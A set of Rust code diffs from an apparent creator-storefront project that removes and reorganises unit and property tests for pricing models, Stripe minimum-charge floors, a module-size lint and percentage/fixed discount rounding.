582 - #[test]
583 - fn free_kind() {
584 - assert_eq!(FreePricing.kind(), db::PricingKind::Free);
585 - }
586 -
587 - // ── FixedPricing ──
588 -
589 - #[test]
590 - fn fixed_not_free() {
591 - let p = FixedPricing { price_cents: 999 };
592 - assert!(!p.is_free());
593 - }
594 -
595 - #[test]
596 - fn fixed_access_creator() {
597 - let p = FixedPricing { price_cents: 999 };
598 - assert!(p.can_access(&AccessContext {
599 - is_creator: true,
600 - ..Default::default()
601 - }));
602 - }
603 -
604 - #[test]
605 - fn fixed_access_purchased() {
606 - let p = FixedPricing { price_cents: 999 };
607 - assert!(p.can_access(&AccessContext {
608 - has_purchased: true,
609 - ..Default::default()
610 - }));
611 - }
612 -
613 - #[test]
614 - fn fixed_access_subscribed() {
615 - let p = FixedPricing { price_cents: 999 };
616 - assert!(p.can_access(&AccessContext {
617 - subscription: Some(crate::db::subscriptions::SubscriptionGate::test_witness()),
618 - ..Default::default()
619 - }));
620 - }
621 -
622 - #[test]
623 - fn fixed_access_denied() {
624 - let p = FixedPricing { price_cents: 999 };
625 - assert!(!p.can_access(&AccessContext::default()));
626 - }
627 -
628 - #[test]
629 - fn fixed_price_display_whole() {
630 - let p = FixedPricing { price_cents: 1000 };
631 - assert_eq!(p.price_display(SettlementCurrency::Usd), "$10");
632 - }
633 -
634 - #[test]
635 - fn fixed_price_display_cents() {
636 - let p = FixedPricing { price_cents: 999 };
637 - assert_eq!(p.price_display(SettlementCurrency::Usd), "$9.99");
638 - }
639 -
640 - #[test]
641 - fn fixed_validate_amount_ok() {
642 - let p = FixedPricing { price_cents: 999 };
643 - assert!(p.validate_amount(999, SettlementCurrency::Usd).is_ok());
644 - assert!(p.validate_amount(1500, SettlementCurrency::Usd).is_ok());
645 - }
646 -
647 - #[test]
648 - fn fixed_validate_amount_too_low() {
649 - let p = FixedPricing { price_cents: 999 };
650 - assert!(p.validate_amount(500, SettlementCurrency::Usd).is_err());
651 - }
652 -
653 - #[test]
654 - fn fixed_kind() {
655 - let p = FixedPricing { price_cents: 999 };
656 - assert_eq!(p.kind(), db::PricingKind::BuyOnce);
657 - }
658 -
659 - // ── PwywPricing ──
660 -
661 - #[test]
662 - fn pwyw_not_free() {
663 - let p = PwywPricing { min_cents: Some(0) };
664 - assert!(!p.is_free());
665 - }
666 -
667 - #[test]
668 - fn pwyw_not_free_even_zero_min() {
669 - let p = PwywPricing { min_cents: None };
670 - assert!(!p.is_free());
671 - }
672 -
673 - #[test]
674 - fn pwyw_access_creator() {
675 - let p = PwywPricing {
676 - min_cents: Some(500),
677 - };
678 - assert!(p.can_access(&AccessContext {
679 - is_creator: true,
680 - ..Default::default()
681 - }));
682 - }
683 -
684 - #[test]
685 - fn pwyw_access_purchased() {
686 - let p = PwywPricing {
687 - min_cents: Some(500),
688 - };
689 - assert!(p.can_access(&AccessContext {
690 - has_purchased: true,
691 - ..Default::default()
692 - }));
693 - }
694 -
695 - #[test]
696 - fn pwyw_access_denied() {
697 - let p = PwywPricing {
698 - min_cents: Some(500),
699 - };
700 - assert!(!p.can_access(&AccessContext::default()));
701 - }
702 -
703 - #[test]
704 - fn pwyw_price_display_with_min() {
705 - let p = PwywPricing {
706 - min_cents: Some(500),
707 - };
708 - assert_eq!(p.price_display(SettlementCurrency::Usd), "From $5");
709 - }
710 -
711 - #[test]
712 - fn pwyw_price_display_no_min() {
713 - let p = PwywPricing { min_cents: None };
714 - assert_eq!(
715 - p.price_display(SettlementCurrency::Usd),
716 - "Pay what you want"
717 - );
718 - }
719 -
720 - #[test]
721 - fn pwyw_price_display_zero_min() {
722 - let p = PwywPricing { min_cents: Some(0) };
723 - assert_eq!(
724 - p.price_display(SettlementCurrency::Usd),
725 - "Pay what you want"
726 - );
727 - }
728 -
729 - #[test]
730 - fn pwyw_validate_amount_ok() {
731 - let p = PwywPricing {
732 - min_cents: Some(500),
733 - };
734 - assert!(p.validate_amount(500, SettlementCurrency::Usd).is_ok());
735 - assert!(p.validate_amount(1000, SettlementCurrency::Usd).is_ok());
736 - }
737 -
738 - #[test]
739 - fn pwyw_validate_amount_too_low() {
740 - let p = PwywPricing {
741 - min_cents: Some(500),
742 - };
743 - assert!(p.validate_amount(400, SettlementCurrency::Usd).is_err());
744 - }
745 -
746 - #[test]
747 - fn pwyw_validate_amount_zero_min() {
748 - let p = PwywPricing { min_cents: Some(0) };
749 - assert!(p.validate_amount(0, SettlementCurrency::Usd).is_ok());
750 - }
751 -
752 - #[test]
753 - fn pwyw_chargeable_minimum_is_the_larger_of_the_two_floors() {
754 - // Stripe refuses a charge under the settlement currency's floor, so a
755 - // creator minimum below it is not a price anyone can pay.
756 - let low = PwywPricing {
757 - min_cents: Some(25),
758 - };
759 - assert_eq!(low.chargeable_minimum_cents(SettlementCurrency::Usd), 50);
760 - assert_eq!(low.chargeable_minimum_cents(SettlementCurrency::Gbp), 30);
761 -
762 - let high = PwywPricing {
763 - min_cents: Some(999),
764 - };
765 - assert_eq!(high.chargeable_minimum_cents(SettlementCurrency::Usd), 999);
766 -
767 - // No minimum at all still has a chargeable floor: $0 is a free claim,
768 - // not a charge, and every charge clears Stripe's floor.
769 - let none = PwywPricing { min_cents: None };
770 - assert_eq!(none.chargeable_minimum_cents(SettlementCurrency::Usd), 50);
771 - }
772 -
773 - #[test]
774 - fn pwyw_price_display_states_the_chargeable_minimum() {
775 - // The card used to promise "From $0.25" against a charge path that
776 - // refused anything under $0.50.
777 - let p = PwywPricing {
778 - min_cents: Some(25),
779 - };
780 - assert_eq!(p.price_display(SettlementCurrency::Usd), "From $0.50");
781 - assert_eq!(p.price_display(SettlementCurrency::Gbp), "From \u{a3}0.30");
782 - }
783 -
784 - #[test]
785 - fn pwyw_sub_floor_amount_is_refused_by_the_model_not_by_stripe() {
786 - // 25c against a 25c minimum: the model itself now names $0.50, so the
787 - // buyer is not told the "minimum purchase amount" by a downstream
788 - // guard that sounds like the creator mispriced the project.
789 - let p = PwywPricing {
790 - min_cents: Some(25),
791 - };
792 - let Err(msg) = p.validate_amount(25, SettlementCurrency::Usd) else {
793 - panic!("25c must not reach a charge");
794 - };
795 - assert_eq!(msg, "Amount must be at least $0.50");
796 - assert!(p.validate_amount(50, SettlementCurrency::Usd).is_ok());
797 - }
798 -
799 - #[test]
800 - fn pwyw_free_claim_survives_the_floor() {
801 - // The floor is on a charge. A creator offering the project for nothing
802 - // still gets $0 claims, which never reach Stripe.
803 - let free = PwywPricing { min_cents: Some(0) };
804 - assert!(free.validate_amount(0, SettlementCurrency::Usd).is_ok());
805 - assert!(
806 - PwywPricing { min_cents: None }
807 - .validate_amount(0, SettlementCurrency::Usd)
808 - .is_ok()
809 - );
810 - // But a creator who set a real minimum is not offering it free.
811 - let paid = PwywPricing {
812 - min_cents: Some(500),
813 - };
814 - assert!(paid.validate_amount(0, SettlementCurrency::Usd).is_err());
815 - }
816 -
817 - #[test]
818 - fn pwyw_minimum_cents() {
819 - let p = PwywPricing {
820 - min_cents: Some(500),
821 - };
822 - assert_eq!(p.minimum_cents(), Some(500));
823 - }
824 -
825 - #[test]
826 - fn pwyw_price_cents_with_min() {
827 - let p = PwywPricing {
828 - min_cents: Some(500),
829 - };
830 - assert_eq!(p.price_cents(), 500);
831 - }
832 -
833 - #[test]
834 - fn pwyw_price_cents_no_min() {
835 - let p = PwywPricing { min_cents: None };
836 - assert_eq!(p.price_cents(), 0);
837 - }
838 -
839 - #[test]
840 - fn pwyw_kind() {
841 - let p = PwywPricing { min_cents: None };
842 - assert_eq!(p.kind(), db::PricingKind::Pwyw);
843 - }
844 -
845 - // ── SubscriptionPricing ──
846 -
847 - #[test]
848 - fn subscription_not_free() {
849 - assert!(!SubscriptionPricing.is_free());
850 - }
851 -
852 - #[test]
853 - fn subscription_access_creator() {
854 - assert!(SubscriptionPricing.can_access(&AccessContext {
855 - is_creator: true,
856 - ..Default::default()
857 - }));
858 - }
859 -
860 - #[test]
861 - fn subscription_access_subscribed() {
862 - assert!(SubscriptionPricing.can_access(&AccessContext {
863 - subscription: Some(crate::db::subscriptions::SubscriptionGate::test_witness()),
864 - ..Default::default()
865 - }));
866 - }
867 -
868 - #[test]
869 - fn subscription_access_purchased_not_enough() {
870 - assert!(!SubscriptionPricing.can_access(&AccessContext {
871 - has_purchased: true,
872 - ..Default::default()
873 - }));
874 - }
875 -
876 - #[test]
877 - fn subscription_access_denied() {
878 - assert!(!SubscriptionPricing.can_access(&AccessContext::default()));
879 - }
880 -
881 - #[test]
882 - fn subscription_price_cents_is_zero() {
883 - assert_eq!(SubscriptionPricing.price_cents(), 0);
884 - }
885 -
886 - #[test]
887 - fn subscription_price_display() {
888 - assert_eq!(
889 - SubscriptionPricing.price_display(SettlementCurrency::Usd),
890 - "Subscription"
891 - );
892 - }
893 -
894 - #[test]
895 - fn subscription_checkout_type() {
896 - assert_eq!(
897 - SubscriptionPricing.checkout_type(),
898 - CheckoutType::Subscription
899 - );
900 - }
901 -
902 - #[test]
903 - fn subscription_validate_amount() {
904 - assert!(
905 - SubscriptionPricing
906 - .validate_amount(100, SettlementCurrency::Usd)
907 - .is_err()
908 - );
909 - }
910 -
911 - #[test]
912 - fn subscription_kind() {
913 - assert_eq!(SubscriptionPricing.kind(), db::PricingKind::Subscription);
914 - }
915 -
916 - // ── Constructors ──
917 -
918 - #[test]
919 - fn for_item_free() {
920 - let item = make_test_item(0, false, None);
921 - let p = for_item(&item);
922 - assert!(p.is_free());
923 - assert_eq!(p.checkout_type(), CheckoutType::None);
924 - }
925 -
926 - #[test]
927 - fn for_item_fixed() {
928 - let item = make_test_item(999, false, None);
929 - let p = for_item(&item);
930 - assert!(!p.is_free());
931 - assert_eq!(p.checkout_type(), CheckoutType::OneTime);
932 - assert_eq!(p.price_cents(), 999);
933 - }
934 -
935 - #[test]
936 - fn for_item_pwyw() {
937 - let mut item = make_test_item(500, false, Some(100));
938 - item.pwyw_enabled = true;
939 - let p = for_item(&item);
940 - assert!(!p.is_free());
941 - assert_eq!(p.checkout_type(), CheckoutType::PayWhatYouWant);
942 - assert_eq!(p.minimum_cents(), Some(100));
943 - }
944 -
945 - #[test]
946 - fn for_project_free() {
947 - let project = make_test_project(db::PricingKind::Free, 0, None);
948 - let p = for_project(&project);
949 - assert!(p.is_free());
950 - }
951 -
952 - #[test]
953 - fn for_project_buy_once() {
954 - let project = make_test_project(db::PricingKind::BuyOnce, 1999, None);
955 - let p = for_project(&project);
956 - assert!(!p.is_free());
957 - assert_eq!(p.checkout_type(), CheckoutType::OneTime);
958 - assert_eq!(p.price_cents(), 1999);
959 - }
960 -
961 - #[test]
962 - fn for_project_pwyw() {
963 - let project = make_test_project(db::PricingKind::Pwyw, 0, Some(500));
964 - let p = for_project(&project);
965 - assert!(!p.is_free());
966 - assert_eq!(p.checkout_type(), CheckoutType::PayWhatYouWant);
967 - }
968 -
969 - #[test]
970 - fn for_project_subscription() {
971 - let project = make_test_project(db::PricingKind::Subscription, 0, None);
972 - let p = for_project(&project);
973 - assert!(!p.is_free());
974 - assert_eq!(p.checkout_type(), CheckoutType::Subscription);
975 - }
976 -
977 - // ── Edge cases (test-fuzz) ──
978 -
979 - #[test]
980 - fn fixed_zero_cents_still_not_free() {
981 - // FixedPricing with 0 cents: is_free is hardcoded false
982 - let p = FixedPricing { price_cents: 0 };
983 - assert!(!p.is_free());
984 - assert_eq!(p.price_cents(), 0);
985 - }
986 -
987 - #[test]
988 - fn fixed_negative_price_validate_amount() {
989 - // Negative price_cents is semantically wrong but FixedPricing doesn't validate construction
990 - let p = FixedPricing { price_cents: -100 };
991 - // amount >= price_cents (-100), so 0 and -50 pass, but -200 fails
992 - assert!(p.validate_amount(0, SettlementCurrency::Usd).is_ok());
993 - assert!(p.validate_amount(-50, SettlementCurrency::Usd).is_ok());
994 - assert!(p.validate_amount(-200, SettlementCurrency::Usd).is_err()); // -200 < -100
995 - }
996 -
997 - #[test]
998 - fn pwyw_validate_amount_at_cap() {
999 - let p = PwywPricing { min_cents: Some(0) };
1000 - assert!(
1001 - p.validate_amount(1_000_000, SettlementCurrency::Usd)
1002 - .is_ok()
1003 - ); // exactly $10,000
1004 - assert!(
1005 - p.validate_amount(1_000_001, SettlementCurrency::Usd)
1006 - .is_err()
1007 - ); // $10,000.01
1008 - }
1009 -
1010 - #[test]
1011 - fn pwyw_validate_amount_negative() {
1012 - let p = PwywPricing { min_cents: Some(0) };
1013 - // Negative amount is below min (0), should fail
1014 - assert!(p.validate_amount(-1, SettlementCurrency::Usd).is_err());
1015 - }
1016 -
1017 - #[test]
1018 - fn pwyw_negative_min_cents() {
1019 - // A negative minimum is a corrupt row, and it used to let a negative
1020 - // amount through on the "still above the minimum" reading. The floor
1021 - // is now the larger of the creator's minimum and the currency's, so a
1022 - // corrupt row cannot open a path to a negative charge.
1023 - let p = PwywPricing {
1024 - min_cents: Some(-100),
1025 - };
1026 - assert!(p.validate_amount(-50, SettlementCurrency::Usd).is_err());
1027 - assert!(p.validate_amount(500, SettlementCurrency::Usd).is_ok());
1028 - }
1029 -
1030 - #[test]
1031 - fn fixed_validate_amount_no_upper_cap() {
1032 - // FixedPricing has no $10k cap like PWYW does
1033 - let p = FixedPricing { price_cents: 100 };
1034 - assert!(
Lines truncated
@@ -62,16 +62,6 @@
62 62 /// stragglers.
63 63 const TEST_PREFIX_HIGH_WATER: usize = 176;
64 64
65 - /// Workflow modules over [`MAX_MODULE_LINES`].
66 - ///
67 - /// Past this a module stops being findable: nobody locates the existing test for
68 - /// a behavior, so they write a second one beside it. The fix is to split by
69 - /// domain, one module per feature domain.
70 - const OVERSIZED_MODULE_HIGH_WATER: usize = 10;
71 -
72 - /// The point at which a workflow module should have been split.
73 - const MAX_MODULE_LINES: usize = 800;
74 -
75 65 const WORKFLOWS_DIR: &str = "tests/workflows";
76 66
77 67 /// The whole test tree: the harness and the load runner are as much a part of the
@@ -138,34 +128,27 @@
138 128 );
139 129 }
140 130
141 - #[test]
142 - fn oversized_workflow_modules_do_not_increase() {
143 - let mut over: Vec<(String, usize)> = rs_files(Path::new(WORKFLOWS_DIR))
144 - .into_iter()
145 - .map(|p| {
146 - let lines = fs::read_to_string(&p)
147 - .expect("read workflow module")
148 - .lines()
149 - .count();
150 - (file_name(&p), lines)
151 - })
152 - .filter(|(_, lines)| *lines > MAX_MODULE_LINES)
153 - .collect();
154 - let total = over.len();
155 -
156 - if total > OVERSIZED_MODULE_HIGH_WATER {
157 - over.sort_by_key(|(_, n)| std::cmp::Reverse(*n));
158 - panic!(
159 - "workflow modules over {MAX_MODULE_LINES} lines rose from \
160 - {OVERSIZED_MODULE_HIGH_WATER} to {total}.\n\
161 - Split the module by domain rather than growing it: {over:?}",
162 - );
163 - }
164 - assert_eq!(
165 - total, OVERSIZED_MODULE_HIGH_WATER,
166 - "oversized modules fell to {total}. Lower OVERSIZED_MODULE_HIGH_WATER to {total}.",
167 - );
168 - }
131 + // The module-size rule that stood here is retired, as of 2026-09-03. It set
132 + // MAX_MODULE_LINES = 800 and froze the count of `tests/workflows` files over it
133 + // at 10. The astra sweep's `module-size` check now owns that budget:
134 + // Apps/witchbroom/scripts/module-size.mjs against
135 + // Apps/witchbroom/policy/module-size.toml.
136 + //
137 + // The sweep does the job on four axes this could not. Its budget counts
138 + // PRODUCTION lines — non-comment, non-blank lines above the file's inline test
139 + // module — so a file is not charged for being well tested, and a file that is
140 + // wholly test code (under `tests/` or `benches/`, or named `tests.rs`) carries
141 + // no budget at all. That rule, ruled by Max, is why none of the six files this
142 + // seal counted are violations: they are integration tests. The sweep also
143 + // covers the whole tree rather than one directory, so `src/` is guarded for the
144 + // first time; it reports per-file line counts rather than a count of files over
145 + // a threshold, so there is a gradient inside a violation; and its exemptions
146 + // are per-file with a written reason, so cleaning up one file is not an edit to
147 + // a shared constant that every parallel session collides on.
148 + //
149 + // Do not reinstate a line budget here. If a server module is too large, it
150 + // shows up in the sweep's `module-size` cell, and the remedy is a per-file
151 + // exemption with a reason or a split.
169 152
170 153 /// Every test module states what surface it covers. A module with no `//!` header
171 154 /// is one whose reason for existing lives only in whoever wrote it.
@@ -132,14 +132,23 @@
132 132 text.contains("#[test]") || text.contains("#[tokio::test") || text.contains("#[sqlx::test")
133 133 }
134 134
135 - /// Whether the file's own directory has a `tests.rs` covering it.
135 + /// Whether the file has a `tests.rs` covering it.
136 136 ///
137 - /// `db/creator_tiers/` keeps its 25 tests in a sibling file, which is the only
138 - /// place in the crate that does. Without this, the seal would report three
139 - /// well-covered files as untested and the number would stop meaning anything.
137 + /// Two shapes count. A file inside a module directory is covered by that
138 + /// directory's `tests.rs`, which is how `db/creator_tiers/` keeps its 25 tests.
139 + /// A file that is itself a module, `db/promo_codes.rs`, is covered by
140 + /// `db/promo_codes/tests.rs`, the sibling form a `mod tests;` declaration
141 + /// points at. Without both, the seal would report well-covered files as
142 + /// untested and the number would stop meaning anything.
140 143 fn sibling_tests_file(path: &Path) -> bool {
141 - path.parent()
142 - .is_some_and(|dir| dir.join("tests.rs").exists())
144 + let in_own_dir = path
145 + .parent()
146 + .is_some_and(|dir| dir.join("tests.rs").exists());
147 + let in_module_dir = path
148 + .file_stem()
149 + .zip(path.parent())
150 + .is_some_and(|(stem, dir)| dir.join(stem).join("tests.rs").exists());
151 + in_own_dir || in_module_dir
143 152 }
144 153
145 154 /// Every module named as the subject of a contract-test file under `tests/`.
@@ -994,490 +994,4 @@
994 994 }
995 995
996 996 #[cfg(test)]
997 - mod tests {
998 - use super::*;
999 -
1000 - #[test]
1001 - fn percentage_discount_50() {
1002 - assert_eq!(apply_discount(1000, DiscountType::Percentage, 50), 500);
1003 - }
1004 -
1005 - #[test]
1006 - fn percentage_discount_100() {
1007 - assert_eq!(apply_discount(1000, DiscountType::Percentage, 100), 0);
1008 - }
1009 -
1010 - #[test]
1011 - fn percentage_discount_10() {
1012 - // 999 * 10 / 100 = 99 (integer), 999 - 99 = 900
1013 - assert_eq!(apply_discount(999, DiscountType::Percentage, 10), 900);
1014 - }
1015 -
1016 - #[test]
1017 - fn fixed_discount() {
1018 - assert_eq!(apply_discount(1000, DiscountType::Fixed, 300), 700);
1019 - }
1020 -
1021 - #[test]
1022 - fn fixed_discount_exceeds_price() {
1023 - assert_eq!(apply_discount(100, DiscountType::Fixed, 500), 0);
1024 - }
1025 -
1026 - // Percentage discount edge cases
1027 -
1028 - #[test]
1029 - fn percentage_discount_0() {
1030 - assert_eq!(apply_discount(1000, DiscountType::Percentage, 0), 1000);
1031 - }
1032 -
1033 - #[test]
1034 - fn percentage_discount_over_100() {
1035 - // 150% discount should clamp to 0
1036 - assert_eq!(apply_discount(1000, DiscountType::Percentage, 150), 0);
1037 - }
1038 -
1039 - #[test]
1040 - fn percentage_discount_1_percent() {
1041 - // 1000 * 1 / 100 = 10, result = 990
1042 - assert_eq!(apply_discount(1000, DiscountType::Percentage, 1), 990);
1043 - }
1044 -
1045 - #[test]
1046 - fn percentage_discount_99_percent() {
1047 - // 1000 * 99 / 100 = 990, result = 10
1048 - assert_eq!(apply_discount(1000, DiscountType::Percentage, 99), 10);
1049 - }
1050 -
1051 - #[test]
1052 - fn percentage_discount_rounding() {
1053 - // 1 cent * 50 / 100 = 0 (integer division), result = 1
1054 - assert_eq!(apply_discount(1, DiscountType::Percentage, 50), 1);
1055 - // 3 * 33 / 100 = 0 (integer), result = 3
1056 - assert_eq!(apply_discount(3, DiscountType::Percentage, 33), 3);
1057 - // 199 * 50 / 100 = 99, result = 100
1058 - assert_eq!(apply_discount(199, DiscountType::Percentage, 50), 100);
1059 - }
1060 -
1061 - // Fixed discount edge cases
1062 -
1063 - #[test]
1064 - fn fixed_discount_exact_price() {
1065 - assert_eq!(apply_discount(500, DiscountType::Fixed, 500), 0);
1066 - }
1067 -
1068 - #[test]
1069 - fn fixed_discount_zero_value() {
1070 - assert_eq!(apply_discount(1000, DiscountType::Fixed, 0), 1000);
1071 - }
1072 -
1073 - #[test]
1074 - fn fixed_discount_one_cent() {
1075 - assert_eq!(apply_discount(1000, DiscountType::Fixed, 1), 999);
1076 - }
1077 -
1078 - // Zero price
1079 -
1080 - #[test]
1081 - fn zero_price_percentage() {
1082 - assert_eq!(apply_discount(0, DiscountType::Percentage, 50), 0);
1083 - }
1084 -
1085 - #[test]
1086 - fn zero_price_fixed() {
1087 - assert_eq!(apply_discount(0, DiscountType::Fixed, 100), 0);
1088 - }
1089 -
1090 - // Negative values (defensive)
1091 -
1092 - #[test]
1093 - fn negative_discount_value_percentage() {
1094 - // Negative discount values are clamped to 0, so price is unchanged
1095 - assert_eq!(apply_discount(1000, DiscountType::Percentage, -50), 1000);
1096 - }
1097 -
1098 - #[test]
1099 - fn negative_discount_value_fixed() {
1100 - // Negative discount values are clamped to 0, so price is unchanged
1101 - assert_eq!(apply_discount(1000, DiscountType::Fixed, -500), 1000);
1102 - }
1103 -
1104 - #[test]
1105 - fn negative_price_percentage() {
1106 - // Negative price with percentage discount, documents current behavior
1107 - // -1000 * 50 / 100 = -500, -1000 - (-500) = -500, max(0) = 0
1108 - assert_eq!(apply_discount(-1000, DiscountType::Percentage, 50), 0);
1109 - }
1110 -
1111 - #[test]
1112 - fn negative_price_fixed() {
1113 - // -1000 - 500 = -1500, max(0) = 0
1114 - assert_eq!(apply_discount(-1000, DiscountType::Fixed, 500), 0);
1115 - }
1116 -
1117 - // Large values (overflow safety)
1118 -
1119 - #[test]
1120 - fn large_price_percentage_no_overflow() {
1121 - // The function uses i64 intermediate to avoid overflow
1122 - // i32::MAX = 2_147_483_647; 50% of that
1123 - let price = i32::MAX;
1124 - let result = apply_discount(price, DiscountType::Percentage, 50);
1125 - assert_eq!(result, 1_073_741_824); // (MAX - MAX*50/100)
1126 - }
1127 -
1128 - // ── Adversarial (test-fuzz) ──
1129 -
1130 - #[test]
1131 - fn adversarial_percentage_max_price_max_percentage() {
1132 - // i32::MAX price with 100% discount
1133 - let result = apply_discount(i32::MAX, DiscountType::Percentage, 100);
1134 - assert_eq!(result, 0, "100% discount on any price should be 0");
1135 - }
1136 -
1137 - #[test]
1138 - fn adversarial_percentage_max_price_99_percent() {
1139 - let result = apply_discount(i32::MAX, DiscountType::Percentage, 99);
1140 - // i32::MAX * 99 / 100 via i64 = 2_125_999_810, remainder = 21_483_837
1141 - // Exact: 2_147_483_647 * 99 = 212_600_881_053 / 100 = 2_126_008_810
1142 - // 2_147_483_647 - 2_126_008_810 = 21_474_837
1143 - assert_eq!(result, 21_474_837);
1144 - assert!(result > 0, "99% discount should leave some remaining");
1145 - }
1146 -
1147 - #[test]
1148 - fn adversarial_fixed_max_price_max_discount() {
1149 - let result = apply_discount(i32::MAX, DiscountType::Fixed, i32::MAX);
1150 - assert_eq!(result, 0);
1151 - }
1152 -
1153 - #[test]
1154 - fn adversarial_both_negative() {
1155 - // Both negative price and negative discount
1156 - let result = apply_discount(-100, DiscountType::Fixed, -100);
1157 - // -100 - (-100) = 0
1158 - assert_eq!(result, 0);
1159 - }
1160 -
1161 - #[test]
1162 - fn adversarial_percentage_discount_exactly_50_odd_price() {
1163 - // Rounding: 1 cent * 50% = 0 (integer division), so result = 1
1164 - assert_eq!(apply_discount(1, DiscountType::Percentage, 50), 1);
1165 - // 3 cents * 50% = 1 (via i64: 3*50/100=1), result = 2
1166 - assert_eq!(apply_discount(3, DiscountType::Percentage, 50), 2);
1167 - }
1168 -
1169 - #[test]
1170 - fn adversarial_apply_discount_invariant() {
1171 - // For any valid (positive) price and percentage 0-100,
1172 - // result should be in [0, price]
1173 - for price in [1, 50, 100, 999, 10000, 1_000_000] {
1174 - for pct in [0, 1, 10, 25, 33, 50, 75, 99, 100] {
1175 - let result = apply_discount(price, DiscountType::Percentage, pct);
1176 - assert!(
1177 - result >= 0 && result <= price,
1178 - "Invariant violated: price={price}, pct={pct}, result={result}"
1179 - );
1180 - }
1181 - }
1182 - }
1183 -
1184 - #[test]
1185 - fn adversarial_fixed_discount_invariant() {
1186 - // For any positive price and positive discount, result should be in [0, price]
1187 - for price in [1, 50, 100, 999, 10000] {
1188 - for discount in [0, 1, 50, 100, 999, 10000, 999_999] {
1189 - let result = apply_discount(price, DiscountType::Fixed, discount);
1190 - assert!(
1191 - result >= 0 && result <= price,
1192 - "Invariant violated: price={price}, discount={discount}, result={result}"
1193 - );
1194 - }
1195 - }
1196 - }
1197 -
1198 - // ── Property-based tests (proptest) ──
1199 -
1200 - proptest::proptest! {
1201 - #[test]
1202 - fn prop_percentage_discount_in_range(price in 0..=1_000_000i32, pct in 0..=100i32) {
1203 - let result = apply_discount(price, DiscountType::Percentage, pct);
1204 - proptest::prop_assert!(result >= 0, "Result {} should be >= 0", result);
1205 - proptest::prop_assert!(result <= price, "Result {} should be <= price {}", result, price);
1206 - }
1207 -
1208 - #[test]
1209 - fn prop_fixed_discount_in_range(price in 0..=1_000_000i32, discount in 0..=1_000_000i32) {
1210 - let result = apply_discount(price, DiscountType::Fixed, discount);
1211 - proptest::prop_assert!(result >= 0, "Result {} should be >= 0", result);
1212 - proptest::prop_assert!(result <= price, "Result {} should be <= price {}", result, price);
1213 - }
1214 -
1215 - #[test]
1216 - fn prop_100_percent_discount_is_zero(price in 0..=1_000_000i32) {
1217 - proptest::prop_assert_eq!(apply_discount(price, DiscountType::Percentage, 100), 0);
1218 - }
1219 -
1220 - #[test]
1221 - fn prop_0_percent_discount_is_identity(price in 0..=1_000_000i32) {
1222 - proptest::prop_assert_eq!(apply_discount(price, DiscountType::Percentage, 0), price);
1223 - }
1224 - }
1225 -
1226 - // ── Metamorphic: applying a discount and removing it again ───────────────
1227 - //
1228 - // Wiki `testing-posture`, phase 2. A metamorphic relation states how two
1229 - // runs relate rather than what either returns, so it needs no table of
1230 - // expected values and nothing has to be recomputed by hand when a price
1231 - // changes. See Chen et al. 1998.
1232 - //
1233 - // The relation asked for was "apply then remove is the identity". It is,
1234 - // for Fixed, and it is not for Percentage, because integer cents rounding
1235 - // is not invertible. What replaces it is not a tolerance: the loss is an
1236 - // exact quantity and the tests below pin it as one.
1237 -
1238 - proptest::proptest! {
1239 - /// Fixed is invertible wherever it does not clamp: the discount is a
1240 - /// subtraction, and adding it back is the inverse of subtracting it.
1241 - #[test]
1242 - fn prop_removing_a_fixed_discount_restores_the_price_exactly(
1243 - price in 0..=1_000_000i32,
1244 - discount in 0..=1_000_000i32,
1245 - ) {
1246 - proptest::prop_assume!(discount <= price);
1247 - let discounted = apply_discount(price, DiscountType::Fixed, discount);
1248 - proptest::prop_assert_eq!(discounted + discount, price);
1249 - }
1250 -
1251 - /// Above the price it is not invertible, and that is the intended
1252 - /// behaviour rather than a gap: the clamp to zero is what stops a
1253 - /// generous coupon paying the buyer. Every price at or below the
1254 - /// discount collapses to the same 0, so no inverse can tell them apart.
1255 - #[test]
1256 - fn prop_a_fixed_discount_over_the_price_destroys_it(
1257 - price in 0..=1_000_000i32,
1258 - excess in 0..=1_000_000i32,
1259 - ) {
1260 - let discount = price.saturating_add(excess);
1261 - proptest::prop_assert_eq!(apply_discount(price, DiscountType::Fixed, discount), 0);
1262 - }
1263 -
1264 - /// What a percentage discount loses, stated exactly.
1265 - ///
1266 - /// `apply_discount` computes `price - (price * pct) / 100` with integer
1267 - /// division, so writing `price * pct = 100q + r` with `0 <= r < 100`
1268 - /// gives `discounted * 100 = price * (100 - pct) + r`. The remainder `r`
1269 - /// is the whole of the round-trip loss and it is bounded by 100
1270 - /// regardless of how large the price is.
1271 - ///
1272 - /// That identity is the tolerance the task asked to have pinned, and it
1273 - /// is worth having as an equation rather than an epsilon: the error does
1274 - /// not grow with the price, so a $10,000 sale is no less recoverable
1275 - /// than a $1 one.
1276 - #[test]
1277 - fn prop_a_percentage_discount_loses_exactly_the_rounding_remainder(
1278 - price in 0..=1_000_000i32,
1279 - pct in 0..=100i32,
1280 - ) {
1281 - let discounted = apply_discount(price, DiscountType::Percentage, pct);
1282 - let remainder = i64::from(discounted) * 100 - i64::from(price) * i64::from(100 - pct);
1283 - proptest::prop_assert!(
1284 - (0..100).contains(&remainder),
1285 - "price={} pct={} discounted={} left remainder {}, outside [0, 100)",
1286 - price, pct, discounted, remainder,
1287 - );
1288 - proptest::prop_assert_eq!(
1289 - remainder,
1290 - (i64::from(price) * i64::from(pct)) % 100,
1291 - "the remainder is not the one integer division dropped",
1292 - );
1293 - }
1294 -
1295 - /// So removal is exact exactly when nothing was dropped, which is when
1296 - /// 100 divides `price * pct`. Constructing such a price is the point:
1297 - /// this is the half of the original relation that does survive.
1298 - #[test]
1299 - fn prop_removing_a_percentage_discount_is_exact_when_it_divides_evenly(
1300 - hundreds in 0..=10_000i32,
1301 - pct in 0..=99i32,
1302 - ) {
1303 - let price = hundreds * 100;
1304 - let discounted = apply_discount(price, DiscountType::Percentage, pct);
1305 - // No remainder, so the inverse is the plain rational one.
1306 - proptest::prop_assert_eq!(
1307 - i64::from(discounted) * 100 / i64::from(100 - pct),
1308 - i64::from(price),
1309 - );
1310 - }
1311 - }
1312 -
1313 - /// The one case where the relation cannot hold however the price is chosen.
1314 - /// A full discount maps every price to 0, so removal has nothing to work
1315 - /// from. Worth a named test rather than an `prop_assume!` that quietly skips
1316 - /// it, since "free" is a real configuration and not an edge.
1317 - #[test]
1318 - fn removing_a_full_discount_is_impossible_by_construction() {
1319 - for price in [0, 1, 99, 100, 101, 999, 1_000_000] {
1320 - assert_eq!(apply_discount(price, DiscountType::Percentage, 100), 0);
1321 - }
1322 - }
1323 -
1324 - // Cart promo semantics: one redemption = one use (ultra-fuzz Run 10 Pay S1)
1325 -
1326 - /// Build a percentage-discount promo with no scope/min-price gating.
1327 - fn unscoped_discount_promo(max_uses: Option<i32>) -> ValidatedPromo {
1328 - ValidatedPromo {
